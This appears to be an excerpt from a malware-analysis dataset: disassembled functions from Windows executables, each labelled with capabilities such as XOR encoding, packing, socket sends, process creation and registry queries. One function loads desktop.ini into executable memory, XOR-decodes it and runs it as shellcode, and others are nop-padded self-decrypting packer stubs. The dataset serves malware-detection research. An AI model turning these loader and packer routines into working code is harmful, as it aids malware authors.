joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x408adf
Capabilities:
Send data
Send data on socket

Disassembly:
push 0
push edx
mov edx, dword [ecx + 4]
lea eax, [ebp - 0xc]
push 1
push eax
push edx
mov dword [ebp + 0x61], 0xd2000000
call dword [sym.imp.WS2_32.dll_WSASend]
cmp eax, 0xffffffff
jne 0x408b32
push edi
pop ebx
cmp eax, sym.imp.WSOCK32.dll_WSAGetLastError
call edi
test eax, eax
jne 0x408b15
mov dword [ebp + 0x5f], edi
pop esi
mov eax, dword [edx]
pop ebp
ret 0xc
stosb byte es:[edi], al
push cs
invalid
mov esp, ebp
pop ebp
ret 0xc
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x6858140d
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0xb113168
nop
nop
nop
test eax, eax
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x402888
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 4
push ebx
push ebx
push 0x438bb4
call fcn.00410db8
mov dword [esi + 0xc], eax
mov dword [eax + 0x44], 0x3f1
mov eax, dword [esi + 0xc]
push dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, ebx
mov eax, dword [esi + 0xc]
test eax, eax
je 0x4028c2
cmp dword [eax + 0x20], ebx
jne 0x4028d2
cmp edi, 0x14
jge 0x4028d2
push 0x64
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4028b6
mov ecx, eax
pop edi
mov eax, dword [ecx + 0x20]
mov dword [esi + 0x10], eax
mov eax, dword [ecx + 0x2c]
mov dword [esi + 0x14], eax
pop esi
pop ebx
ret

Function at 0x402b6e
Capabilities:
Get file version info

Disassembly:
push 0x40
mov eax, 0x435d3e
call fcn.0041f6e2
mov dword [ebp - 0x3c], ecx
lea eax, [ebp - 0x30]
mov dword [ebp - 4], 1
push eax
push dword [ebp + 0xc]
xor edi, edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
push esi
call fcn.004094fa
pop ecx
mov ebx, eax
push ebx
push esi
push dword [ebp - 0x30]
push dword [ebp + 0xc]
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
jne 0x402bdf
push dword [ebp + 0xc]
push str.Unable_to_get__s_file_version._n
push 0x44d6ac
call fcn.00401431
add esp, 0xc
mov ecx, 0x44d5e0
call fcn.0040892f
push ebx
call fcn.004094f5
pop ecx
jmp 0x402cb8
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], edi
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], edi
push eax
push 0x438f38
push ebx
call sub.VERSION.dll_VerQueryValueW
mov ecx, dword [ebp - 0x28]
push ebx
movzx eax, word [ecx + 0xa]
mov dword [ebp - 0x4c], eax
movzx eax, word [ecx + 8]
mov dword [ebp - 0x48], eax
movzx eax, word [ecx + 0xe]
mov dword [ebp - 0x44], eax
movzx eax, word [ecx + 0xc]
mov dword [ebp - 0x40], eax
call fcn.004094f5
pop ecx
lea eax, [ebp - 0x2c]
mov edi, 0x439298
push eax
push edi
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp + 8]
call fcn.00403159
mov ebx, 0x4386cc
mov byte [ebp - 4], 2
push ebx
lea ecx, [ebp - 0x24]
call fcn.0040268b
test eax, eax
je 0x402c95
lea esi, [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.0041f5a5
pop ecx
mov dword [esi], eax
lea ecx, [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
push edi
lea eax, [ebp - 0x38]
push eax
call fcn.00403159
push eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 3
call fcn.0040126b
mov ecx, dword [ebp - 0x38]
mov byte [ebp - 4], 2
lea ecx, [ecx - 0x10]
call fcn.00401797
push ebx
lea ecx, [ebp - 0x24]
lea esi, [esi + 4]
call fcn.0040268b
test eax, eax
jne 0x402c4d
mov ecx, dword [ebp - 0x3c]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.004026af
mov ecx, dword [ebp - 0x24]
mov edi, eax
neg edi
sbb edi, edi
lea ecx, [ecx - 0x10]
neg edi
call fcn.00401797
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401797
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.00401797
mov eax, edi
call fcn.0041f691
ret 8
Function at 0x403a72
Capabilities:
Get common file path

Disassembly:
push 0x228
mov eax, 0x435fa6
call fcn.0041f74e
mov esi, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x234], eax
call fcn.00409b0d
push eax
lea ecx, [ebp - 0x220]
call fcn.00401210
xor ebx, ebx
lea eax, [esi + 8]
push ebx
push 0x439a24
mov ecx, eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x228], eax
call fcn.00404164
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x230], ebx
mov byte [ebp - 4], 1
call edi
xor ecx, ecx
mov esi, eax
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004094fa
mov ebx, eax
mov dword [ebp - 0x230], ebx
pop ecx
test ebx, ebx
je 0x403c8f
lea ecx, [esi + esi]
push ecx
push 0
push ebx
call fcn.0041fdd0
add esp, 0xc
push ebx
push esi
call edi
test eax, eax
setne al
test al, al
je 0x403c8f
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x21a]
push eax
call fcn.0041fdd0
push str.TRANSFORMS_
lea eax, [ebp - 0x21c]
push 0x104
push eax
call fcn.0041ffd6
push ebx
call fcn.0041f58c
mov esi, eax
lea eax, [ebp - 0x21c]
push eax
call fcn.0041f58c
add eax, 2
xor ecx, ecx
add esi, eax
push 2
pop edx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004094fa
mov edi, eax
add esp, 0x24
mov dword [ebp - 0x22c], edi
test edi, edi
je 0x403bb3
lea ecx, [esi + esi]
push ecx
push 0
push edi
call fcn.0041fdd0
push ebx
push esi
push edi
call fcn.0041ffd6
lea eax, [ebp - 0x21c]
push eax
push esi
push edi
call fcn.0041febc
add esp, 0x24
mov eax, dword [ebp - 0x224]
cmp eax, 0xffffffff
jne 0x403bf4
mov ecx, dword [ebp - 0x234]
and dword [ebp - 0x224], 0
mov eax, dword [ecx]
cmp dword [eax - 0xc], 0
jne 0x403beb
lea eax, [ebp - 0x220]
push str.TRANSFORMS__
push eax
call fcn.00401431
pop ecx
pop ecx
jmp 0x403c75
push eax
push edi
push str.TRANSFORMS__s_s_
jmp 0x403c66
mov ecx, dword [ebp - 0x228]
add eax, 0xa
push eax
push 0x22
call fcn.0040419e
mov esi, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x224], eax
mov ecx, dword [esi]
cmp dword [ecx - 0xc], 0
jne 0x403c31
push ecx
lea eax, [ebp - 0x220]
push 0x439aa0
push eax
call fcn.00401431
add esp, 0xc
jmp 0x403c75
mov ecx, dword [ebp - 0x228]
push eax
push 0x5c
call fcn.0040419e
cmp eax, 0xffffffff
jne 0x403c5e
push ebx
push dword [esi]
lea eax, [ebp - 0x220]
push edi
push str._s_s__s_
push eax
call fcn.00401431
add esp, 0x14
jmp 0x403c75
push dword [esi]
push edi
push str._s_s_
lea eax, [ebp - 0x220]
push eax
call fcn.00401431
add esp, 0x10
mov esi, dword [ebp - 0x220]
mov ecx, dword [ebp - 0x228]
push esi
push dword [ebp - 0x224]
call fcn.004049d6
jmp 0x403cb9
push ebx
call fcn.004094f5
pop ecx
mov ecx, dword [ebp - 0x220]
lea ecx, [ecx - 0x10]
jmp 0x403cce
and dword [ebp - 4], 0
push edi
call fcn.004094f5
push ebx
call fcn.004094f5
pop ecx
pop ecx
lea ecx, [esi - 0x10]
call fcn.00401797
call fcn.0041f6a0
ret 4
Function at 0x404a66
Capabilities:
Create process on windows

Disassembly:
push 0x5c
mov eax, 0x4361bd
call fcn.0041f6af
cmp dword [0x44d6cc], 0
je 0x404a85
call fcn.00404b6d
jmp 0x404b67
lea eax, [ebp - 0x10]
xor edi, edi
push eax
mov dword [ebp - 0x14], edi
call fcn.00403d92
push 0x44
pop esi
push esi
lea eax, [ebp - 0x68]
mov dword [ebp - 4], edi
push edi
push eax
call fcn.0041fdd0
push 0x10
lea eax, [ebp - 0x24]
mov dword [ebp - 0x68], esi
push edi
push eax
call fcn.0041fdd0
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x10]
add esp, 0x18
push dword [eax - 0xc]
call fcn.0040171f
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x68]
push ecx
push edi
push edi
push edi
push edi
push edi
push edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x404b11
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
push str.InstallProduct:_CreateProcess_failed__Cmdline_s_Error_d_._n
push 0x44d6ac
call fcn.00401431
add esp, 0x10
mov ecx, 0x44d5e0
call fcn.0040892f
mov eax, dword [ebp - 0x14]
mov dword [0x44d730], eax
jmp 0x404b5c
push 0xffffffffffffffff
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xbc2
jne 0x404b46
mov eax, dword [0x44d6c0]
xor edx, edx
inc edx
test eax, eax
cmove eax, edx
mov dword [0x44d6c0], eax
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x44d730], ecx
call esi
push dword [ebp - 0x20]
call esi
mov ecx, dword [ebp - 0x10]
lea ecx, [ecx - 0x10]
call fcn.00401797
call fcn.0041f67d
ret
Function at 0x405055
Capabilities:
Reference sql statements

Disassembly:
push 0x18
mov eax, 0x4362af
call fcn.0041f6af
xor edi, edi
lea ecx, [ebp - 0x18]
push str.SELECT_Value_FROM_Property_WHERE_Property.Property
mov dword [ebp - 0x24], edi
call fcn.0040188e
mov esi, 0x439e28
mov dword [ebp - 4], edi
push esi
lea ecx, [ebp - 0x18]
call fcn.00403cdb
mov eax, dword [ebp + 0x10]
lea ecx, [ebp - 0x18]
mov eax, dword [eax]
push dword [eax - 0xc]
push eax
call fcn.00403d04
push esi
lea ecx, [ebp - 0x18]
call fcn.00403cdb
mov dword [ebp - 0x10], edi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
push dword [ebp - 0x18]
mov dword [ebp - 0x14], edi
push dword [ebp + 0xc]
call sub.msi.dll_MsiEnumClientsA
test eax, eax
je 0x4050f8
call fcn.00409b0d
mov ecx, dword [ebp + 8]
push eax
call fcn.00401210
cmp dword [ebp - 0x10], 0
je 0x4050d7
push dword [ebp - 0x10]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
cmp dword [ebp - 0x14], 0
je 0x4050e5
push dword [ebp - 0x14]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.00401797
mov eax, dword [ebp + 8]
jmp 0x4051c8
push edi
push dword [ebp - 0x14]
call sub.msi.dll_MsiViewModify
test eax, eax
jne 0x4050bb
cmp dword [ebp - 0x10], eax
je 0x405112
push dword [ebp - 0x10]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], edi
push eax
push dword [ebp - 0x14]
call sub.msi.dll_MsiDatabaseIsTablePersistentA
test eax, eax
jne 0x4050bb
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x20], edi
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x1c], edi
push eax
push 1
push dword [ebp - 0x10]
call sub.msi.dll_MsiRecordSetStreamA
cmp dword [ebp - 0x1c], 0
je 0x4050bb
call fcn.00409b0d
push eax
lea ecx, [ebp + 0x10]
call fcn.00401210
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp + 0x10]
inc eax
mov byte [ebp - 4], 3
mov dword [ebp - 0x1c], eax
inc eax
push eax
call fcn.0040171f
lea ecx, [ebp - 0x1c]
push ecx
push eax
push 1
push dword [ebp - 0x10]
call sub.msi.dll_MsiRecordSetStreamA
push 0xffffffffffffffff
lea ecx, [ebp + 0x10]
call fcn.004017b3
mov esi, dword [ebp + 0x10]
add esi, 0xfffffff0
push esi
call fcn.004012f5
mov edi, dword [ebp + 8]
add eax, 0x10
pop ecx
mov ecx, esi
mov dword [edi], eax
call fcn.00401797
cmp dword [ebp - 0x10], 0
je 0x4051ad
push dword [ebp - 0x10]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
cmp dword [ebp - 0x14], 0
je 0x4051bb
push dword [ebp - 0x14]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.00401797
mov eax, edi
call fcn.0041f67d
ret 0xc
Function at 0x4057c6
Capabilities:
Get common file path

Disassembly:
push 4
mov eax, 0x4366bf
call fcn.0041f6af
mov esi, ecx
push 0
lea edi, [esi + 8]
push str.http:__
mov ecx, edi
call fcn.00404164
test eax, eax
je 0x4057ff
push 0
push str.ftp:__
mov ecx, edi
call fcn.00404164
test eax, eax
jne 0x405892
push 0x2f
push dword [edi]
call fcn.00420032
pop ecx
pop ecx
test eax, eax
jne 0x405813
or eax, 0xffffffff
jmp 0x405817
sub eax, dword [edi]
sar eax, 1
lea ebx, [eax + 1]
mov eax, dword [edi]
cmp ebx, dword [eax - 0xc]
jne 0x40582a
mov ecx, edi
call fcn.00401392
jmp 0x405892
lea ecx, [esi + 0x10]
mov dword [esi + 0xc], 1
push edi
call fcn.0040126b
add esi, 0x14
push 0x104
mov ecx, esi
call fcn.0040171f
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0xffffffffffffffff
mov ecx, esi
call fcn.004017b3
push ebx
lea eax, [ebp - 0x10]
mov ecx, edi
push eax
call fcn.00405c92
mov eax, dword [eax]
mov ecx, esi
and dword [ebp - 4], 0
push dword [eax - 0xc]
push eax
call fcn.00403d04
mov ecx, dword [ebp - 0x10]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.00401797
push esi
mov ecx, edi
call fcn.0040126b
call fcn.0041f67d
ret
Function at 0x405898
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0x18
mov eax, 0x436350
call fcn.0041f6af
mov ebx, ecx
mov dword [ebp - 0x20], ebx
call fcn.00409b0d
push eax
lea ecx, [ebp - 0x10]
call fcn.00401210
and dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
push 0
push 0x25
mov edi, 0x104
push edi
call fcn.0040171f
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call fcn.004017b3
push 0x43a200
lea ecx, [ebp - 0x10]
call fcn.00403cdb
push edi
lea ecx, [ebx + 4]
call fcn.0040171f
mov edi, dword [ebp - 0x10]
lea ecx, [ebp - 0x24]
push 0
push 0
push ecx
push eax
push edi
call sub.msi.dll_MsiMessageBoxW
push 0xffffffffffffffff
lea ecx, [ebx + 4]
call fcn.004017b3
push str.Path
lea ecx, [ebp - 0x18]
call fcn.0040188e
push str.MSI_Updater
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.0040188e
push 0x44d6b0
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x14]
mov ecx, 0x44d5e0
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.004079f4
add ebx, 8
mov byte [ebp - 4], 3
push eax
mov ecx, ebx
call fcn.0040126b
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.00401797
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00401797
mov ecx, dword [ebp - 0x18]
mov byte [ebp - 4], 0
lea ecx, [ecx - 0x10]
call fcn.00401797
mov esi, dword [ebp - 0x20]
mov ecx, esi
call fcn.004057c6
mov eax, dword [ebx]
cmp dword [eax - 0xc], 0
je 0x4059eb
cmp dword [esi + 0xc], 0
jne 0x4059b3
push ebx
mov ecx, 0x44d5e0
call fcn.004071cb
test eax, eax
jne 0x4059b3
mov ecx, ebx
call fcn.00401392
jmp 0x4059eb
call fcn.00409b0d
push eax
lea ecx, [ebp - 0x18]
call fcn.00401210
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 4
push str.__quiet__norestart__overwriteoem
push eax
call fcn.00401431
mov esi, dword [ebp - 0x18]
pop ecx
pop ecx
mov ecx, ebx
push dword [esi - 0xc]
push esi
call fcn.00403d04
lea ecx, [esi - 0x10]
call fcn.00401797
lea ecx, [edi - 0x10]
call fcn.00401797
call fcn.0041f67d
ret
Function at 0x4059f9
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
push 0x44
pop edi
push edi
xor ebx, ebx
lea eax, [ebp - 0x58]
push ebx
push eax
mov esi, ecx
call fcn.0041fdd0
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x58], edi
push ebx
push eax
call fcn.0041fdd0
mov eax, dword [esi + 8]
lea ecx, [esi + 8]
add esp, 0x18
push dword [eax - 0xc]
call fcn.0040171f
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x58]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x405a83
cmp dword [0x44d6bc], ebx
je 0x405a72
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [esi + 8]
push str.InstallUpdate:_CreateProcess_failed__Cmdline_s_Error_d_._n
push 0x44d6ac
call fcn.00401431
add esp, 0x10
mov ecx, 0x44d5e0
call fcn.0040892f
xor eax, eax
jmp 0x405b04
mov esi, ebx
cmp dword [0x44d6c4], ebx
jne 0x405a9d
push ebx
push ebx
push ebx
push ebx
push 0x4392ac
call fcn.00410db8
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test esi, esi
je 0x405ac8
mov eax, dword [esi + 0x20]
test eax, eax
jne 0x405ab7
mov eax, ebx
jmp 0x405aba
mov eax, dword [eax + 0x20]
push ebx
push ebx
push 0x405
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor edi, edi
inc edi
test eax, eax
je 0x405af2
mov ecx, dword [0x44d6c0]
cmp dword [ebp - 4], 0xbc2
cmove ecx, edi
mov dword [0x44d6c0], ecx
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405b0b
Capabilities:
Identify system language via api

Disassembly:
push 0xa0
mov eax, 0x436376
call fcn.0041f6af
mov esi, ecx
mov eax, dword [esi + 8]
cmp dword [eax - 0xc], 0
jne 0x405b29
xor eax, eax
jmp 0x405ba2
cmp dword [esi + 0xc], 0
je 0x405b9f
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov ecx, 0x3ff
and ax, cx
movzx ecx, ax
xor eax, eax
inc eax
cmp cx, ax
je 0x405b4f
cmp ecx, 0xd
je 0x405b4f
xor eax, eax
push 0
push eax
lea ecx, [ebp - 0xac]
call fcn.004018d2
and dword [ebp - 4], 0
lea eax, [esi + 0x10]
push eax
lea ecx, [ebp - 0x14]
call fcn.0040126b
lea eax, [esi + 0x14]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040126b
lea ecx, [ebp - 0xac]
call fcn.0040a3fb
lea ecx, [ebp - 0xac]
lea esi, [eax - 1]
neg esi
sbb esi, esi
or dword [ebp - 4], 0xffffffff
call fcn.0040191d
lea eax, [esi + 1]
jmp 0x405ba2
xor eax, eax
inc eax
call fcn.0041f67d
ret

Function at 0x406157
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov ecx, 0x3ff
and ax, cx
movzx eax, ax
cmp eax, 1
je 0x40617a
cmp eax, 0xd
je 0x40617a
mov eax, dword [ebp + 0xc]
jmp 0x406182
mov eax, dword [ebp + 0xc]
or eax, 0x100000
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
push 0x44d5e0
call fcn.00415b3f
add esp, 0x10
pop ebp
ret
Function at 0x4064d1
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x40
mov eax, 0x436557
call fcn.0041f6e2
mov esi, ecx
mov dword [ebp - 0x4c], esi
and dword [ebp - 0x30], 0
lea edi, [ebp - 0x2c]
and dword [ebp - 0x20], 0
lea ecx, [ebp - 0x48]
xor eax, eax
mov dword [ebp - 0x38], 0x104
stosd dword es:[edi], eax
push str.RequireIE
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0040188e
xor edi, edi
lea ecx, [ebp - 0x44]
push str.Startup
mov dword [ebp - 4], edi
call fcn.0040188e
lea eax, [esi + 0xd0]
xor ebx, ebx
push eax
lea eax, [ebp - 0x48]
inc ebx
push eax
lea eax, [ebp - 0x44]
mov byte [ebp - 4], bl
push eax
lea eax, [ebp - 0x40]
mov ecx, esi
push eax
call fcn.004079f4
mov ecx, dword [ebp - 0x44]
lea ecx, [ecx - 0x10]
call fcn.00401797
mov ecx, dword [ebp - 0x48]
mov byte [ebp - 4], 4
lea ecx, [ecx - 0x10]
call fcn.00401797
mov eax, dword [ebp - 0x40]
cmp dword [eax - 0xc], edi
je 0x4065f2
lea ecx, [ebp - 0x14]
mov esi, str._d._d._d._d
push ecx
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x20]
push ecx
push esi
push eax
call fcn.004206ec
add esp, 0x18
call fcn.00409b0d
push eax
lea ecx, [ebp - 0x34]
call fcn.00401210
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 5
push eax
push 0x20019
push edi
push str.SOFTWAREMicrosoftInternet_Explorer
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4065e2
push dword [ebp - 0x38]
lea ecx, [ebp - 0x34]
call fcn.0040171f
lea ecx, [ebp - 0x38]
push ecx
push eax
push edi
push edi
push str.Version
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x3c]
test eax, eax
je 0x406602
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x34]
mov ebx, edi
lea ecx, [esi - 0x10]
call fcn.00401797
mov eax, dword [ebp - 0x40]
lea ecx, [eax - 0x10]
call fcn.00401797
mov eax, ebx
call fcn.0041f691
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xffffffffffffffff
lea ecx, [ebp - 0x34]
call fcn.004017b3
cmp dword [ebp - 0x38], 0
jbe 0x4065e2
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
push esi
mov esi, dword [ebp - 0x34]
push esi
call fcn.004206ec
add esp, 0x18
mov eax, edi
mov ecx, dword [ebp + eax - 0x30]
cmp dword [ebp + eax - 0x20], ecx
jb 0x4065e7
ja 0x40664d
add eax, 4
cmp eax, 0x10
jl 0x406637
jmp 0x4065e7
mov ecx, dword [ebp - 0x4c]
lea eax, [ebp - 0x40]
push eax
call fcn.00407f1d
jmp 0x4065e5